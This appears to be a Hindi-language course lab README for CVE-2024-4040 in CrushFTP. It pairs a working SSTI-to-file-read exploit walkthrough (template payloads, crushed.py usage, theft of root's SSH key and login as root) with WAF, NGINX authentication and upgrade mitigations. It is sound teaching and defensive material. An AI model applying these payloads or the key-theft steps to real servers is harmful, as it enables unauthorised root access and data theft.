
CVE-2024-4040 के लिए शैक्षिक प्रूफ-ऑफ-कॉन्सेप्ट, जो CrushFTP में Docker प्रयोगशाला वातावरण और शमन रणनीतियों के साथ अप्रमाणित SSTI-से-LFI शोषण प्रदर्शित करता है।
केवल शैक्षिक और अधिकृत लैब उपयोग के लिए।
CS443 सॉफ्टवेयर और सिस्टम सुरक्षा मॉड्यूल के लिए। लैब एक नियंत्रित स्थानीय डॉकर वातावरण में की गई थी।
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2024-4040 |
| प्रभावित सॉफ्टवेयर | CrushFTP < 10.7.1 (v10 branch) / < 11.1.0 (v11 branch) |
| भेद्यता प्रकार | Server-Side Template Injection (SSTI) → अप्रमाणित स्थानीय फ़ाइल पढ़ना |
| CVSS स्कोर | 9.8 क्रिटिकल |
| प्रभाव | अप्रमाणित हमलावर सर्वर फाइल सिस्टम से मनमानी फ़ाइलें पढ़ सकते हैं |
CrushFTP का WebInterface zip कमांड के path पैरामीटर में टेम्पलेट एक्सप्रेशन को बिना सैनिटाइज़ेशन के मूल्यांकन करता है। एक अप्रमाणित हमलावर अनाम सत्र कुकीज़ प्राप्त कर सकता है, फिर उन कुकीज़ का उपयोग टेम्पलेट पेलोड ({working_dir}, <INCLUDE>…</INCLUDE>) भेजने के लिए कर सकता है जिन्हें सर्वर मूल्यांकित करके लौटाता है — जो होस्ट भर में मनमानी फ़ाइल पढ़ने की अनुमति देता है।
pip install requests rich
| स्क्रिप्ट | स्रोत | उद्देश्य |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | पूर्ण SSTI/LFI शोषण — सत्र चोरी, मनमानी फ़ाइल पढ़ना |
recon.py | यह रिपॉजिटरी | संस्करण पहचान, लाइव SSTI जांच, भेद्यता पुष्टि |
docker-compose up -d
स्क्रिप्ट चलाने से पहले CrushFTP को पूरी तरह से प्रारंभ होने के लिए ~10 सेकंड प्रतीक्षा करें। यहां कोई अलग recon चरण आवश्यक नहीं है क्योंकि crushed.py निष्पादन के दौरान पहले से जांचता है कि शोषण संभव है या नहीं।
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
स्क्रिप्ट निम्न कार्य करेगी:
/WebInterface/ से एक अनाम CrushAuth / currentAuth सत्र प्राप्त करें{working_dir} का उपयोग करें<INCLUDE>/root/.ssh/id_rsa</INCLUDE> का उपयोग करेंआउटपुट से निजी कुंजी ब्लॉक कॉपी करें (-----BEGIN OPENSSH PRIVATE KEY----- से -----END OPENSSH PRIVATE KEY----- तक सब कुछ)।
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# अपेक्षित: root
id
# अपेक्षित: uid=0(root) gid=0(root) groups=0(root)
hostname
# अपेक्षित: <container_id>
अप्रमाणित हमलावर
│
▼
GET /WebInterface/ ← अनाम CrushAuth + currentAuth कुकीज़ प्राप्त करता है
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI पुष्टि — सर्वर द्वारा टेम्पलेट का मूल्यांकन किया गया
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← पूर्ण इंस्टॉलेशन पथ लीक करता है
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← मनमानी फ़ाइल पढ़ना
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← पूर्ण रूट शेल
WAF एक रिवर्स प्रॉक्सी के रूप में कार्य करता है जो CrushFTP तक पहुंचने से पहले आने वाले HTTP/S ट्रैफ़िक का निरीक्षण करता है। NGINX को ModSecurity के साथ उपयोग करके, CVE-2024-4040 का शोषण करने वाले दुर्भावनापूर्ण अनुरोधों को CrushFTP को संशोधित किए बिना नेटवर्क किनारे पर अवरुद्ध कर दिया जाता है।
../, %2e%2e) को अवरुद्ध करता हैMitigation 1/docker-compose.yaml का उपयोग करें:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Mitigation 1/nginx.conf का उपयोग करें:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
हमलावर -> NGINX WAF (पोर्ट 80) -> दुर्भावनापूर्ण को अवरुद्ध करता है -> 403 निषिद्ध
-> स्वच्छ को अग्रेषित करता है -> CrushFTP:8080
CVE-2024-4040 बिना प्रमाणीकरण के शोषण योग्य है। इस लैब में, संवेदनशील मार्गों को CrushFTP पर प्रॉक्सी करने से पहले Authorization हेडर की आवश्यकता के द्वारा NGINX परत पर अनाम-शैली पहुंच को अवरुद्ध किया जाता है।
crushed.py जैसी शोषण स्क्रिप्ट अप्रमाणित पहुंच पर निर्भर करती हैं; बिना क्रेडेंशियल के अनुरोध 401 के साथ अस्वीकार कर दिए जाते हैं/WebInterface/ और / के अनुरोध तब तक अस्वीकार कर दिए जाते हैं जब तक प्रमाणीकरण डेटा मौजूद न होservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# Allow static assets unauthenticated
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# Block unauthenticated access to WebInterface
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentication Required - Anonymous sessions disabled";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# Block everything else unauthenticated
location / {
if ($http_authorization = "") {
return 401 "Authentication Required";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
# पुष्टि करें कि अप्रमाणित अनुरोध NGINX द्वारा अस्वीकार कर दिया गया है
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# अपेक्षित: 401 अनधिकृत
# वैकल्पिक: प्रमाणित अनुरोध अग्रेषित किया जाना चाहिए
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername
CrushFTP 11 में अपग्रेड करना सबसे प्रभावी और स्थायी सुधार है। पैच VFS पथ रिज़ॉल्यूशन पर सख्त इनपुट सत्यापन जोड़ता है, जिससे CVE-2024-4040 का मूल कारण समाप्त हो जाता है।
crushed.py जैसी शोषण स्क्रिप्ट संस्करण 11 के विरुद्ध अब काम नहीं करती हैंCrushFTP 11 का उपयोग करने के लिए अपने Dockerfile को अपडेट करें:
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt
RUN apt-get update -y && apt-get -y install unzip wget openssh-server
COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip
EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22
WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"
CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d
कंटेनर को पुनर्निर्मित करें:
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d
# v11 के विरुद्ध शोषण चलाएं - विफल होना चाहिए
# नोट: इस रिपॉजिटरी की स्क्रिप्ट -t/--target का उपयोग करती है।
python3 crushed.py -t http://localhost:8080
# अपेक्षित: शोषण कोई आउटपुट या कनेक्शन त्रुटि नहीं लौटाता
| घटक | मान |
|---|
| लक्ष्य | http://localhost:8080 |
| आधार PoC CrushFTP संस्करण | 10.3.0 (जानबूझकर कमजोर) |
| शमन 3 परीक्षण वातावरण | CrushFTP 11.x (पैच की गई शाखा) चलाने वाला अलग कंटेनर |
| SSH पोर्ट (कंटेनर) | 2222 → 22 |
| व्यवस्थापक क्रेडेंशियल | admin / admin |
| कंटेनर रनटाइम | Docker (Compose) |
| समस्या | स्थान | विवरण |
|---|
| लापता निर्भरता | पंक्ति 6–9 | चलाने से पहले pip install rich आवश्यक है |
| कमजोर XML पार्सिंग | पंक्ति 86, 140 | गैर-XML सर्वर प्रतिक्रियाओं पर क्रैश होता है; कोई ParseError हैंडलिंग नहीं |
| टोकन regex बहुत सख्त | पंक्ति 160–161 | CrushAuth=…; currentAuth=… पैटर्न सभी sessions.obj प्रारूपों से मेल नहीं खा सकता |
| केवल HTTP 404 | पंक्ति 53 | कुकी ग्रैब केवल 404 पर सफल होता है; अन्य स्थिति कोड पर चुपचाप गिर जाता है |